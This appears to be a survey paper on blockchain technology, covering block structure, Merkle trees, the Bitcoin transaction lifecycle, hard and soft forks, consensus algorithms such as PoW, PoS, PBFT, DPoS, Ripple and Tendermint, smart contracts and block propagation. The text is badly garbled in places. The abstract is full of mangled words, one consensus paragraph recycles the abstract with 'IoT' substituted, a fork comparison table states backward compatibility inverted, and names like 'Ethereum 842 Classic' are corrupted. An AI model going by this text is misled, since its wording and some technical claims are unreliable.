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ABSTRACT: In contemporary era of technologies, blockchain &eguired tremendous
attention from various domains. It has wide speutnf applications ranging from finance to
social services and has greatly influenced the gmgrbusiness world. Since, blockchain
technology is getting embedded in the e-commerpacss, the cryptocurrencies are gaining
huge prevalence. Bitcoin and ethereum are few syptorurrencies, which have utilized
decentralised nature of blockchain. Blockchain banconsidered as a distributed database
system containing immutable ledgers, which are @réom attack by malicious users.
Although, from the initial digital currency to theresent smart contract, the utilities of
blockchain have been harnessed, the innovativetdatpy has to rely on cryptography for its
security. There are several reports, which emphasethe vulnerabilities and security of
blockchain, however, there is a lack of a compreivenand methodical survey in both
application and technical views. In this surveyictet the authors cover various aspects
related to blockchain including its taxonomies aheé situations in which a particular
category of blockchain should be applied. The asthalso focusses on the structure of
blockchain and the working of the ongoing trangaxgiin the cryptocurrency network. In
addition, the authors also specify various cat&goof consensus protocols, smart contracts,
forks, techniques for generating the consensustailéd taxonomy of blockchain along with
their features and related real-world applicatimalso discussed. In addition, existing key
platforms of blockchain related to the cryptocudies, hyperledger and multichain are also
discussed. Existing emerging vulnerabilities ofchkldhain related to the recent attacks on
bitcoin and etherum is also presented along with dafensive methodologies and future
trends in blockchain.

Keywords: Blockchain, Distributed Ledger, Decentralizationry@tocurrency, Digital
Currency, Consensus Algorithms, Smart Contracty®gc

1. INTRODUCTION

1.1 BackgroundThe blockchain technology refers to the immutahlélic ledgers, which
are constructed using decentralized techniques gerterally do not contain a trusted
authority. This remarkable technique was implem@nfer enabling the advent of
cryptocurrencies in which the exchange of digitsseds was take place in decentralized
systems. Subsequently, a number of digital curesnbas also emerged like Ripple, Bitcoin,
Litecoin, Ethereum etc. Blockchain and the cryptoencies involved, permitted entities to
accomplish economic transactions in the abseneecehtral authority.It further act as a third
party for authentication, while presenting a ddataage technique, which is available to all



and are legitimate [1]. In addition to these feasuithis exceptional technology hampers any
change in the publicized transactions [140-141].

In the year 1991, a chain of data, containing digsignature, was utilized as an automated
ledger, which signed the documents in a way torasthat any adversary did not tamper the
documents in the chain in any way [2]. This was ghenary concept for the emergence of
blockchain technology. This stupendous technolo@gs wiirst implemented for electronic
currency in the year 2008 in a research articleciwliiscussed Bitcoin cryptocurrency [3].
The original authors of this technology are stilkmown since, the aforementioned paper was
pseudonymously published by Satoshi Nakamoto. flinis onwards, blockchain and Bitcoin
go hand in hand and blockchain is frequently exgmbcto be utilized for financial
transactions.

A number of digital currencies came into existebetore Bitcoin, however they could not be
operated so extensively. After the blockchain tedbgy was incorporated in bitcoin, the
results were splendid as, it attained fascinatiegtures which in turn enhanced its
consumption. Bitcoin incorporated with blockchaimas deployed in a distributed
environment and hence, single user authority wagrawvided. Consequently, single point of
failure ceased to exist and there was direct tearadfffunds among clients in the absence of a
third party. In addition to this, it not only pertedd fair distribution of funds among the
entities (miners), who maintain the blockchain &lsb reduce the transaction cost in order to
utilize the system. A self-policing methodology wgesnerated by utilizing a decentralized
blockchain technology as well as consensus metbggidtased maintenance system, which
guaranteed that only legitimate transactions apeaged in the blockchain system.

1.2 Motivation: Since, blockchain consists of the above-mentideatlres, thus, apart from
economic communications there can be several apiolics of this technology. Some of them
include IoT, supply chain management, distributetependent agencies, decentralized cloud
storage, healthcare, proprietorship and rights ridigion. Recently, the blockchain
technology is fascinated by not only the commersi@ttors but also gain attention in
academia. Some other fields in which this grourekking technology is applicable are
medical [4-6], finance [7-10], loT [11-13], softwaengineering [15-16], etc. Figure 1
focusses on the various domains and the shardseatsponder who use blockchain in the
corresponding area [18]. Since, various domain® lembraced blockchain technology at a
very high rate, various blockchain applications éhaprung up and this has led to the
transformation of banking and economic servicegure 2 discloses the quarterly increase in
the number of users who are using the blockchalletpo].

1.3 Blockchain in Bitcoin: There were many cryptocurrencies launched and gntioem
Bitcoin was the most publicized and successfulall a special kind of data structure used for
storage and transactions in its network can ocdtlowt involving a third party. The primary
technique used in the construction of Bitcoin is bhockchain technology, which came into
existence in the year 2008 and its implementati@s werformed in the year 2009 [20].
Bitcoin was surveyed as the highest operating oggrén the year 2015 [21] and the greatest
operating product in the year 2016 [22]. In the sayear, (i.e., in 2016) blockchain is



accounted to have reached 10 billion dollars ircépital market. In the year May 2017, it
was reported that bitcoin has transactions grelaser 300K [23] on daily basis.
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1.4 Blockchain in Ethereum: With the inception of programming languages whare
turing-complete, few languages like solidity andpsat came into existence which enabled
the users to design smart contracts which will eteon the blockchain and thus, the era of
blockchain 2.0 began. With the advent of blockcHab a number of new cryptocurrencies
came into existence, which had smart contractsamphted in them. Some of them are
Ethereum, Ethereum classic, Hyperledger Burrow,@terently, Ethereum is regarded as the
most extensively used blockchain which supportsrsoantracts. Till now, we already have
317,506 as smart contracts number and transaagieager than 75,000 happened on daily
basis [15]. The core technology used to developowuarcryptocurrencies is Blockchain
because they make use of its decentralized nafiwalready mentioned, blockchain has
distributed consensus mechanism, thus there isead for a trusted third party to exchange
information or perform transactions. Thus, therdstied users involved can accomplish their
task without any central authority.

1.5 Our Contribution: From the above explanation, the authors realizatlithorder to dig
deep into the cryptocurrencies and comprehend tipeirations and vulnerabilities, they have
to focus on their foundation, i.e., blockchain. Eenthis article not only discusses the
architecture and mechanisms involved in blockchdiowever, also focusses on the
cryptocurrencies, their vulnerabilities and ex@bdns of those vulnerabilities. Further, it
elaborates on the enhancements made in the fieldlaakchain and regions in which
improvements can be made.
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Figure 3: Outline of the paper

1.6 Outline: The remaining paper is structured in the followfiogmat. In section 2, the
authors are focussing on brief overview of the bbbain technology. Section 3 focusses on
the emerging blockchain technologies like consemsathodologies, smart contract, forks,
etc. Section 4 focuses on expansions of blockchaategories and applications of
blockchain. Section 5 emphasises on the platfoom®lockchain like cryptocurrencies,
Hyperledger, multichain etc. This section also hgitis the challenges and vulnerabilities of



blockchain and also includes the attacks on the rivagor cryptocurrencies - Bitcoin and
Ethereum. Existing security enhancements in bloaikcls discussed in section 6. Finally, in
section 7, the authors conclude their survey biemng the enhancements and future trends
in the field of blockchain. Figure 3 displays sclaia representation of the organisation of
this survey article.

2. OVERVIEW OF BLOCKCHAIN

Since, blockchain works in the absence of a certghority (i.e., in a distributed
environment) and they consist of public digitaldeds, which are immutable in nature. If any
user in blockchain network wants to perform a teation, his request is stored in a ledger in
a node whose copy is available to the all the userthe network. These users perform
verification of the transaction in the node andhié users reach a consensus, the node is
found to be authentic and only in that case itddea to the blockchain as new block. After
this, the transaction cannot be altered. Now,usar wants to perform any malicious activity,
then he will have to take control over the entiedwork of blockchain because the copy of
transaction is available to everyone. Practicatigdification of the transaction in a malicious
way is an almost impossible process however, iarthi¢ is possible to corrupt it.

Blockchain technology may seems to be a very sinppteess however, there are many
complexities involved in this technology. Severaamanisms which are present in computer
science community like distributed network, cryptgghy, data structures are involved in
blockchain. These are amalgamated with some otdneepts of finance like ledgers. The
next subsection enlightens the readers in briefhdeustanding the architecture and
mechanism of blockchain.
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Figure 4: Structure of Blockchain and its constituents

2.1 Structure of Blockchain: Blockchain name clearly signifies that it is aisgrof
connected blocks. These connections are possiht®e,seach block has parent block



(previous block), whose hash is recorded in thatedl header of the block. In case of
Ethereum blockchain, the hashes of block’s ancedtoicle blockyare also stored [16]. The
genesisblock (first block) does not have any parent bloElch block comprises of two
parts: (i)The Block heade(ii) The Block body

Figure 4 clearly illustrates the block header, whionsists of Block Version (BV), Merkle
Tree Root Hash (MTRH), nBits, Nounce, Time Stamp(Farent Block Hash(PBH) and the
Block Body, which holds Transaction Counter(TC) amdire records of transaction such as
conventional public ledger [15].

2.1.1 Block headerThe header of a block in the blockchain compridesioattributes. All
of them are explained as under.

e Block version A blockchain network consists of few authenticatrales that needs to be
followed, therefore, block version denotes theo$girotocols to obey.

» Merkle tree root hashit is defined as the hash value for the entire bhlostead of saving
the hash value of all the transaction, a singlé vatue is created using the Merkle tree.
This tree merges hash values of all the transatbigether (taking two at a time) till one
hash value is achieved. This is called a Merkle tomt hash. This is an effective method
to encapsulate and authenticate all the transactiom block. It supports in delivering
immutability since, block hash value is stored he thild block header also, and any
alteration to transaction will result in mismatchMerkle root hash. Figure 5 displays
the working mechanism of a Merkle tree:

» The leaves of the tree (level 4) represent thes&etions records frofxn, to
Txnsto be encapsulated.

> Level 3 displays the hashed value of the transacgoords.

The hashed value in level 3 is then merged andevegv hashed value in Level 2

> Lastly, level 1 displays the Merkle Tree Root Hashich merged hashes,;ldnd H.

Y

----------------- MTRH ———— e LSV




Figure 5: Structure of Merkle Tree Root Hash

Timestamp It represents the current time (in seconds) sificéahuary 1970.

nBits: It is aimed threshold of the hash value of an exwtils block.

Nonce: Nonce usually begins with a 0 and is incremented dach hash value
computation. lIts size is 4-byte. This is furtherplained while explaining PoW
mechanism.

Parent block hash This is a hash value of size 256-bit, which inthsaat the preceding
block.

2.1.2 Block Body The body comprises of transaction counter as welir@ansactions. The
size of transaction and block determines the largamber of transactions which can be
present in a block.

Transaction Counterlt stores the number, if transactions are in tloekal

Transaction It refers to a log of transmission of assets betwé&go entities. In
blockchain, several transactions are present in ldoek. A typical transaction is
displayed in figure 6 and usually involves thedualing attributes:

Amount

Txn ID

Input Output

Dig. Sig. of
Sender

Public Key Public Key
of Sender of Receiver

Figure 6: Structure of a transaction that a block contains

Amount— The sum of all the digital values that needset¢ransferred.

Inputs— The input includes a log of the values of theitdigasset that needs to be
transmitted (the entire value must equal to thewartjo Here, all the digital assets must
be exclusively recognized and could include valtrest are distinct to other assets.
Though, credentials could not be incorporated amiehted from the recent digital
credentials. A replacement for this is that thetetamic possessions may be divided into
numerous new digital possessions (having less salremerged for creating some new
digital asset (with higher value).

Outputs- This stores the details of the accounts thataactecipients of the value. It
consists of the digital asset that will be trangmaitto the account of the recipient, the
unique identity related to the recipient, and dertales the recipient should not violate
for receiving the related value. In case digitdueaoffered extra assets, it is refunded.
(“make change mechani§m



> Transaction ID or Hash- Every transaction has an exclusive value foidistification. It
can either be a transaction ID or transaction hadbe. It is essential to authenticate a
transaction for the digital signature which is lshea public key cryptography [17].

2.2 Lifecycle of a Transaction in a CryptocurrencyNetwork: This section illustrates the
transaction steps involved in bitcoin network bedweseveral users. Figure 7 shows the
processing of transaction in a cryptocurrency.
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Figure 7: Lifecycle of transaction in bitcoin network

If senderA wish to send few bitcoins to receiv@r he/she must have a Bitcoin full installed
in his/her device. An alternate option to Bitcaitl fs lightweight client-side software. Along
with this, he/she requires sender’s private kegrmiation and receiver’s Bitcoin address. All
the entities in the blockchain network have thegdfar digital asset to the sender’s Bitcoin
address. Nevertheless, only an exclusive signathreh is created with the help of private
key has the ability to allow the transaction otbihs from account. In order to prove that the
amount being sent belongs to the sender, he/sHzestia cryptographic key for
implementing digital signature on transaction. Asors as, the sender publicised his
transaction in the bitcoin network, a signal is dutcasted to every miner present in the
network. This is done in order to inform the minab®ut the arrival of the new transaction.
Subsequently, the miners authenticate digital sigea, and also verifies if sender is
transferring amount within its specified limits.

Furthermore, miners compete with one another thiggaall awaiting transactions in the
network (including the senders) and mine the biggkfluctuating nonce). An elaboration to



this is that, miners generate hash of the entioelkylsubsequently the hash value should
commence with a definite number of zeros, if it flo®t, a new nonce is selected and
function to generate hash value is run again.dihyti miners arbitrarily opt for any value of
nonce and if the hash function is run again, noscacremented and the new value is
selected. This process take place until the min@mother miner solves the problem. Once,
the aimed value found, the message is broadcastte inetwork. The sender and receiver
also receive an acknowledgment stating the sucokdsansaction. Other miners in the
network accept the new block, and then commendetermine the succeeding block in the
cryptographic network. Although, a transaction vihis successful, can be rejected later in
case it is incapable of staying in the blockchagtwork if there exists numerous forks or
many of the miners do not approve to accept thekblehich contains this transaction,
detection of double spending attack, etc. Accordanthe rules of the Bitcoin, the miner who
mines the block gets some bitcoins as reward, mrerethe block is incorporated in the
public ledger. When the sender’s transaction isnparated in the blockchain, the sender and
the receiver receive the acknowledgment that bigare transferred to the receiver. The
time taken by one transaction is dependent not @mlthe load in the network but also on the
transaction payment incorporated by the senderinMim time required is approximately 10
minutes. Nevertheless, if first acknowledgmenteseived, this does not signify successful
processing of transaction. The transaction candmsidered as illegitimate any time. For
considering a transaction as legitimate, the Bitcsnciety suggested that after mining the
block, it must get successive acknowledgments lfmek(presently six).

2.3 Expansion of Blockchain through Addition of NewBlocks: A new block mainly
indicates a list of transactions. Here, we willuass a permissionless (or public) blockchain
that uses the capabilities of the Proof of WorkBa@onsensus mechanism [55-57]. It is a
well-known methodology on which bitcoin is operatimThe blockchain network consists of
miners who have a blockchain software installedhiir devices. The consensus of these
miners is required to maintain the blockchain ire thetwork. Since, the system is
decentralized, hence, central control has not tileoaity to control who decides which entity
should publish the succeeding block in the blockth&very entity should keep record of
blockchain and might recommend some new block b®rominers. It is computationally
feasible to authenticate a block as compared topatimg a block, therefore illegitimate
blocks are easily sensed and discarded. Accordinthe application of blockchain, the
process of mining in blockchain requires either magnmor processing power or both. The
consensus mechanism takes the decision of the femk that will be incorporated in the
blockchain. Details of the mechanism are mentiandte later sections. Any device running
the software of the blockchain is regarded a®@de There exist two categories of nodes: (i)
full nodes (ii) lightweight nodes.

2.3.1 Full node:A full noderecords the blockchain information, forward theadtt the rest

of the nodes, and guarantee that new blocks areémeate. Authentication certifies that the
block format is valid, hashes present in the rebémtk are accurate, preceding block hash is
present in the recent block, and every transadiiat a block contains is authentic and
digitally signed by entities involved. A full nodeuld also behave as miners.



2.3.2 Lightweight node3hese do not record entire duplicates of blockchaistead they
may forward their information to the full nodes fprocessing. These are generally those
devices which have less computational power or nmgngog. smartphones 588, IoT devices,
etc. Any of the entity or node in the network canammend some recent transactions. These
new transactions are broadcasted to nodes til},dheincorporated in a block.

Projected transactions in blockchain are recorddgtie miners in unspent transaction paol
anticipation of getting incorporated in a block. 4ha new block in created, the miners
incorporate a group of unspent transactions ifhts group may consist of an amalgamation
of some delayed transactions and some recent ttamss that present a greater payment
(transaction fee). If invalid transactions are prgsthe miners discard the entire block. In
order to avoid this situation. the miner itself cke the validity of every transaction. Now,
the miner will fill all the data, except nonce, whiis essential for the block structure.

Few of the blockchain systems may necessitate a bfpsacrifice for generating the
following block. This can be spending time, energgking for the benefit, etc. If the
endeavour and time requirement of the system if, Hige miner will have to calculate
numerous arbitrary nonce values for trying to resa@ computationally hard problem. The
winner entity secures the privilege to issue thecsading block. Generally, miners test
several nonce values before resolving the puz4ter Ahe puzzle is resolved for some nonce
value, the entity will create hash of the datahaf block and record it in theblock. Figure 8
displays the architecture of the created blocksTilock is broadcasted in the blockchain
network for authentication. After the block beingtleenticated, the nodes admit it as new
block and forwards it.
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Figure8: The process for expansion of blockchain by additba new block
BV, - Block Version of nth blockMTRH ,, - Merkle Tree Root Hash of nth BlockS, - Time Stamp of nth
Block, PBH,- Parent Block Header of nth BlocK,C,- Transaction Counter of nth BlocKxn, - nth
Transaction

3. BLOCKCHAIN TECHNOLOGIES: FORKS AND CONSENSUS
METHODOLOGIES

The above section clearly describes the structuibdockchain in detail. In addition to this, it
also enlightens the procedure which is used torappew blocks to the existing blockchain.
In this section, the authors illustrates the vaionechanisms involved in the blockchain
(forks and consensus methodologies), which wilthfer help the readers to gain a better
understanding of the previously discussed concepts.

3.1 Forks: Since, the blockchain technology is distributedneture and the consent of
entities are required, updating rules in the netwaray become almost impossible.
Variations in software of blockchain as well as iempentation is known as fork. Figure 9
illustrates the overview of soft and hard fork.
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Figure 9: Overview of soft fork and hard fork

3.1.1 Soft ForksThis occurs when device of the entity encounterh wew rules and is
incompatible with the preceding version, the newities in the network will not
acknowledge mining of early entities. Since, coapah power of recent entities are more
robust than early entities, block mined by earlyitexs will not be sanctioned by recent
entities. Nonetheless, the recent entities and eanlities will mine on the common chain.
Once soft fork occurs, upgradation to new rules matyhappen simultaneously, it permits
gradual upgradation. Soft fork has one chain, mareaafter upgradation, it does not affect
constancy and efficiency of system. Though, in $ofk, the early nodes are insensitive to
the fact that the agreement rules have been chamdech is contrary to a protocol, which
states that each entity can authenticate apprefyritt some range.

A soft forkis a modification in the protocols ofetlblockchain technology that would not
entirely prohibit the entities, who refuse to adddye alteration from operating on the altered
system. An example of alteration can be upgradeotttemporary version. As, obsolete
entities would identify recent blocks as authen#c,soft fork is capable of backward
compatibility, which necessitate only majorityoftién upgrade in order to implement new
rules of soft fork.

When a latest consensus protocol was incorporatesiréngthen éscrowas well as time-
locked repayments, soft fork happened on Bitcoitwaoek. In the year 2014, a proposition
repurposing an operation code was made which imgréed OP_NOP2 (no operation) to
CHECK_LOCK_TIME_VERIFY, that permitted yield of aransaction for being not
spendable in the near future [23-24]. Hence, fag tlsers who tend to deploy this
modification, the interpreter of blockchain wouikdplement this latest operation, nonetheless
for clients who do not have provision for the madifion. The script remains authentic,
moreover execution would pursue asNOP”is executed.

3.1.2 Hard Forkslt is a modification in the protocols of the blotlain technology that
would entirely prohibit the entities who refusedccept the alteration from operating on the
altered system. In hard fork, protocols would bedified in such a way that necessitates
entities to update to remain withhain fork” or continue the primary chain. Entities present
on distinct hard forks can never communicate. dir¢his modification in the structure of the
block, e.g. selecting hashing algorithm, it wouéd hard fork.



In the year 2016, DAO (Decentralized Autonomous aDigation), a smart contract was

implemented in Ethereum. There were few faultshia ¢onstruction of the smart contract
because of which a malicious user pulled out Ettvbiich subsequently led to burglary of

$50 million [26]. All the ether holders voted fohard fork proposition, which was approved
by 89 percent and thus, created a new variety afkichain, returning of the robbed assets.
The old chain was renamed as Ethereum 842 Claghkich was supported by few original

users. In cryptocurrencies, in case, a hard foréxisting and blockchain is divided, coins

that an entity possess at that time would be comedach fork. In case majority of the

activities transfers to recent blockchain, the ch@in would not be used. Table I illustrates
about few of the differences that are prevalenhamd and soft fork in the blockchain

technology.

Table I: Comparisons—based analysis of variations of forks

Hard Fork Soft Fork

Divergence Permanent divergence in the block chain | Temporary deviation in blockchain
type
Cause The entities which are not upgraded aWhen non-upgraded nodes not following

unable to validate the blocks constructed|knew consensus rules
the upgraded entities (obeying newer
consensus protocols).

Backward Backward compatible. Not backward compatible.

compatibility

Parallelism of | The new as well as old blockchain execufEhere are no parallel chains.

chains parallelly, however both follow distinct set of
protocaols.

Funds Brings up the issue of duel funds No concept @& dunds

Implementation | The new protocols which give rise tcMost of the new features like check

type compatibility should be deployed in harsequence verify or CSV or segregated
fork. withess are deployed by a soft fork

because it is secure and more trivial.

3.2 Consensus MethodologiesSince, the blockchain systems are decentralizedhtore,
they do not require a trusted centralized authofitgcentralized consensus methodologies
are implemented by blockchain in order to proviggehdability and uniformity of data as
well as secure transactions. Currently four majonsensus mechanisms are used in
blockchain technology: Proof of Work (PoW), PraatiByzantine Fault Tolerance (PBFT),
Proof of Stake(PoS) and Delegated Proof of Stake@)H27]. Some other consensus
methodologies which have been implemented in feth@fblockchain technologies are Proof
of Bandwidth (PoB) [28], Proof of Authority(PoA) $2, Proof of Elapsed Time (PoET) [30],
etc. Among all these, PoW is deployed in Bitcoid &thereum, which are the two prevalent
blockchain systems (cryptocurrency). In additionRoW, Ethereum also integrates PoA
methodology (that is, Kovan public test chain [3AR)d few cryptocurrencies, like PeerCoin,
ShadowCash, etc, deploy PoS methodology. Tabléhdivs the categories of consensus
algorithms.Recently, 10T has acquired tremendotesnabn from various domains. It has
wide spectrum of applications ranging from finartce social services and has greatly
influenced the emerging business world. Since,te&hnology is getting embedded in the e-



commerce services, the consensus algorithms amengdiuge prevalence. PoW and PoS are
few such consensus algorithms, which have utiltbedplatforms of I10T. IoT can be easily
integrated in the distributed database system gongaimmutable ledgers using several
consensus algorithms, which are prone to attacknbiicious users. Although, from the
initial digital currency to the present smart cawtr the utilities of consensus algorithms have
been harnessed, the innovative technology hasyt@mecryptography for its security.

Table II: Types of consensus algorithm and their comparisons

Consensus | Tendermint | Delagated | Ripple Proof of | Proof Practical Proof of | Proof of | Proof of
Algorithms Proof of Stake of Byzantine | Burn Capacity | Elapsed Time
Stake Work Fault
Tolerance
Parameters
Example Tendermint Bitshares Ripple Peercqin BitcpiHyperledger| Slimcoin | Burst Sawtooth
Fabric Coin
Threshold 33.33% 33.33% 20% 51% 25% 33.33% 23% 27% 25%
for attack malicious Malicious | Malicious | Hash hash Malicious | Hash Malicious | hash power
Nodes Nodes Nodes power power | nodes Power Nodes
Knowledge | Validators None None None None Miners Miners None Validators
of Node
Identity
Energy Low Moderate Low Moderate  High Low Moderate| High High
Consumption
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Figure 10: The overview of proof-of-work consensus methodology

3.2.1 Proof of Work (PoW) AlgorithnBitcoin cryptocurrency implements the PoW
consensus methodology [32]. In a distributed systamentity is elected for storing the
transactions. The simplest method is to selectaiauygl Nevertheless, this type of selection
has high risk of attacks. Therefore, for publishadplock, an entity has to perform many
operations for proving that the entity involvechst malicious. Figure 10 shows the working
of the proof-of-work mechanism.



This technique utilizes the answer of problemsvalidating the authenticity of data. The
problem is generally computationally hard but vakfe. Subsequently, it would broadcast
the block to other entities in the network to attaonsensus, as displayed in the Figure 10.
The structure of a block in a blockchain variesrfreystem to system. In a cryptocurrency
such as Bitcoin, a block is generally composedBi Pnonce, and Txn [33-35]. Here, nonce
value is derived by resolving the PoW problem. Aidraaonce must assure that hash
displayed in the Equation-I, is smaller than theed value, that can be altered for changing
the complexity of Proof of Work problem.

SHAs(PBH || Txn1 || Txn2 || . . . || nonce) < AimedueaEquation )

When block is authenticated, rest of the minerd joih this block to their blockchain.
Entities which compute hash are known as minersBitooin, the PoW methodology is
known as mining. In distributed network, legitim&tecks may be produced as soon as two
or more entities find appropriate nonce. If nongdaund by these entities simultaneously
then branches might be produced as displayed r&ifyl. Nevertheless, it is doubtful that
the two rival forks will produce succeeding blodkaaconcurrently. In PoW methodology, a
branch that turns out to be longer later is estohdab be valid. Let us assume two forks
generated by simultaneously authenticated the blotke miners will continue to mine the
blocks till a lengthy chain is established andrlatee miners may shift to the lengthy chain.

Long, thus considered valid

—
—
—

vl vl

Agree to old protocol

Agree to new protocol
Point at which User A
and User B disagrees .
on the protocol Short , Thus considere
invalid and rejected

User A mining on blockchain @ User B mining on blockchain

Figure 11: Process of forking in POW consensus methodology

In POW methodology, miners perform numerous contports, therefore these operations
waste the available resources. To avoid this, feWvPnethodologies, where works can have
some supplementary-applications are constructed.eample of this is Primecoin [33]
which explores to find some special chains of prmmenbers which might be productive in
mathematical research.

3.2.2 Proof of Stake (PoS)The PoS methodology utilizes proof of proprietopsbi the

corresponding cryptocurrency for proving the autivély of data. The blockchain system in
which the PoS is implemented, while designing eithdlock or a transaction, the entities
involved are needed to give some assets. When #sggrebd block or the designed



transaction are authenticated, the asset (thapaid$ would be refunded to the initial entity
as bonus. If this is not the case then, it willgemalized. In PoW methodology, plenty of
computations are required, which results in wastageomputing power. However, in PoS
methodology the computation can be decreased &nga kextent, thus the efficiency of the
blockchain system is increased.

3.2.3 Practical Byzantine Fault Tolerance (PBFTYhe PBFT consensus methodology is a
duplication algorithm to endure byzantine faultg-@b]. PBFT can process approximately
one-third of the illegitimate byzantine duplicatés,s, it is used as consensus methodology
in Hyperledger Fabric [17]. In one round, only drleck is determined. In one cycle, a key
entity is elected concurring with few protocols wdraers transaction. The entire process can
be partitioned in three stages: fPe-repaired (ii) prepared(iii) commit At every stage, an
entity will progress to the succeeding stage ohlyis elected by more than two-third of all
entities. Therefore, PBFT has a prerequisite thah@ode should be recognised to the entire
blockchain network. SCP (Stellar Consensus Protd&d-36] is a Byzantine agreement
protocol and has similarity with PBFT. Differencetlveen PBFT and SCP is that in case of
PBFT, every entity is required to interrogate othatities whereas SCP grants entities the
authority to select set of the entities who arepsspd to be trusted. A modified version of
PBFT called Delegated Byzantine Fault Tolerance KDBis implemented by Antshares
[37]. In DBFT, few specialized entities are electedstoring the transactions.

3.2.4 DPoS (Delegated Proof of Stakdh case of PoS, it behaves as direct democratic
whereas DPOS behaves as a representative demoPBiatiicipants select the representatives
for generating and authenticating the blocks. #réhare lesser entities to authenticate the
block, less time will be taken for validation. Thwgill lead to fast approval of the
transactions. In the meantime, the specificatidnsedwork like block sizeas well asblock
intervals can be changed by the representatives. MoreoveEmtgldo not have to be
concerned about the malicious representatives ,sineg will be recognised easily and voted
out. This consensus mechanism is used in Bitst28gs

3.2.5 Ripple: Another consensus methodology, Ripple[30], makes of collaborative
subnetworks (which are fully trusted) inside a leiggetwork. In such type of blockchain
networks, the entities are classified into two gatees: (i)Server (ii) ClientThe server takes
part in the consensus procedure while, the cligatssfer assets. A server contains a Unique
Node List (UNL), which is essential for server. Tecide if a transaction has to be
incorporated in a ledger, server interrogates théies in UNL. In case, more than 80%
consensus are received, transaction will be adaédel ledger. An entity considers a ledger
to be legitimate if malicious entity percentagaJiNL is lesser than 20%.

3.2.6 TendermintA byzantine consensus methodology, in which one bk is found in
one cycle, is used by tendermint [31]. In a rousud entity, callegoroposer,will be chosen
for broadcasting an unauthenticated block. Thigdare is classified in three stages: (i)
Prevote stageln this step the authenticators determine if tisépuld transmit prevote
intended for the recommended block. @jecommit stageln this, if the entity collects



prevotes greater than two-third for recommendedigld will broadcast precommit for the
recommended block. In case, the entity collectet@nmits greater than two-third, it will
move to the commit stage. (iifommit stageln this stage, the entity will authenticate the
recommended block and will broadcast commit inrtbevork. In case, the entity collected
two-third of commit messages, it will admit the dto However, in PBFT, entities must lock
their assets for becoming an authenticator. Ifhenticator is discovered to be malicious, it
will be penalized.

3.3 Qualities of a Good Consensus Algorithrithe attributes of an upright consensus
methodology are effectiveness, security and eass@f Lately, much work is done for the
advancement of the consensus mechanisms. Few datestnsus methodologies have come
forward which targets to resolve few issues in kéb@in. One of them is PeerCensus [38],
which aims to separate block generation from tretisa authorization for increasing the
speed of the consensus process. Another consersimnism is Kraft [39], which proposes
a consensus algorithm for ensuring that block geimer speed is stable. Since, if block
generation speed is high, the security of Bitceimegatively affected, and for solving this
issue, GHOST (Greedy Heaviest Observed Sub Trea) celection rule [40] is projected.

In this consensus methodology, the lengthiest clodifblocks in not selected. GHOST

provides weights to the chains and the miners edectsthe one, which they find better.

Chepurnoy et al. [41] has projected another typeanfsensus methodology, in which any
entity who is providing non-interactive evidencerefrievability for the past state snapshots
is allowed to create block. In this type of methlody, miners will be required to save the
past block headers, rather than storing entirekisloc
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Figure 12: Smart Contract Process

3.4 Smart Contract:A smart contract is a treaty among disbelieving fers, which is
implemented by the blockchain’s consensus methgikdo The computer code and data in
smart contracts are often called as methods atesstBhe expected transactions received by
the blockchain may call the contract’s public mehasing its data for performing a service.
Since, the code is on the blockchain, it is immigtadnd may be treated as third party to



perform complex financial transactions. Smart cacts may carry out calculations and
record data for financial transmissions.

While mining blocks, the miners also execute sroartract programs. Therefore, execution
of the smart contracts has higher cost as comparé&ansfer of assets in other blockchain-
based cryptocurrencies. Apart from paying for ndrin@nsaction fees, the client, who is
requesting for a transaction to a smart contractstnalso pay the charges for program
execution. Limited execution time is allotted fosmart contract call. In case, it is exceeded,
the program execution will be terminated, and taatien is rejected. For the execution of
this code, the miners are rewarded and an adveisapyohibited from deploying and
subsequently fetching the smart contracts thatwuoesall resources and execute DoS attack
(denial of service) on miners.

Figure 12 displays the procedure related to devedopp phase, deployment phase and
interaction phase of smart contract. Every instialenart contract refers to an IPaddress,
using which the consumers may communicate withsthart contract using transactions via
various clients (for instance, Parity, Geth, etd.)smart contract is capable of calling other
smart contracts via messages and hence, programmagrdevelop more dynamic dAPPs.

3.4.1 Smart contract in EthereumEthereum [42] is the most famous framework in which
smart contract is deployed. It contains smart emtér as computer codes, which is
implemented in EVM bytecode [42] which is Turingrgplete. Smart contracts in Ethereum
can also be used for transferring ether, a digitatency, to or from different consumers and
to some other contracts.

The target of Ethereum’s consensus methodology iguarantee accurate execution of
contract. For appending a block to blockchain, ¢néty should take part in a lottery, in

which the winning probability increases with thergase in computing power of an entity. A
reward methodology makes sure that, in case arrsatye(after winning lottery) attempts to

append a block with illegitimate execution of thentact, later the block will be eliminated

from the blockchain. Although, there are many cisins concerning the efficiency of

consensus methodologies [44-45], some studies lisstadb that if most of the calculative

power lies with the legitimate users, the consensethodologies is secure [46-48].

To guarantee effectiveness, the execution of Etimeremart contracts should be appropriate.
If this is not so, a malicious user may interferghwhe execution. Many security risks in
smart contract of Ethereum are found by implemeniaf48-49], and examination of
Ethereum blockchain contracts [50]. Some of theerdbilities of these smart contracts have
also been exploited. Many causes exist that maker&tim’s smart contract development
and most of them are pertaining to solidity langudihe issue with solidity is that it does not
present constructs for handling domain-specificcepis, for instance the calculation stages
are stored on public blockchain, thus, reorderingealay can be achieved easily. One other
reason for security aspect is that all documentsal-known vulnerabilities are distributed
across research papers [48-51], official documig<3], and Internet [54].



3.5Techniques for Generating the Consensug complete entity in a blockchain, records
the data of all blocks. Block propagation methodglowhich is the groundwork for the
construction of consensus in blockchain, can bssdiad into the following categories [56—
59]:

3.5.1 Advertisement-Based Propagatiolm this mechanism, once an entity A received the
data of a probable block, it would broadcast message (used in cryptocurrency, like
Bitcoin) to entities associated to it. Once thisseage is received by entity B, it will check if
entity B has the data of this block beforehandylmch case nothing will be done, otherwise,
a reply will be sent to entity A. On receiving treply by entity B, entity A sends the entire
data corresponding to this block to entity B. Fegur3 shows the detailed explanation of
advertisement-based propagation.
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Figure 13: An overview of advertisement-based propagation

3.5.2 Sendheaders Propagationfhis is an enhanced version of advertisement-based
propagation. In such type of propagation methodglegtity B sends sendheaders message
(used in cryptocurrency, like Bitcoin) to entity Ance entity A has received the data
corresponding to a block, it transmits the blockder data to entity B. Here, entity A is not
required to transmit inv messages, therefore, ppleed of block propagation is incremented.

3.5.3 Unsolicited Push Propagatiorn this, when the mining of a block is accomplidhine
entire block is transmitted to all the entitiestie network. In the absence of sending inv
message or sendheaders message, the propagaeono$fdock is further increased.

3.5.4 Relay Network Propagationit is an enhanced version of unsolicited push
methodology. Here, a shared transaction pool isgotewhich is accessible to all mining

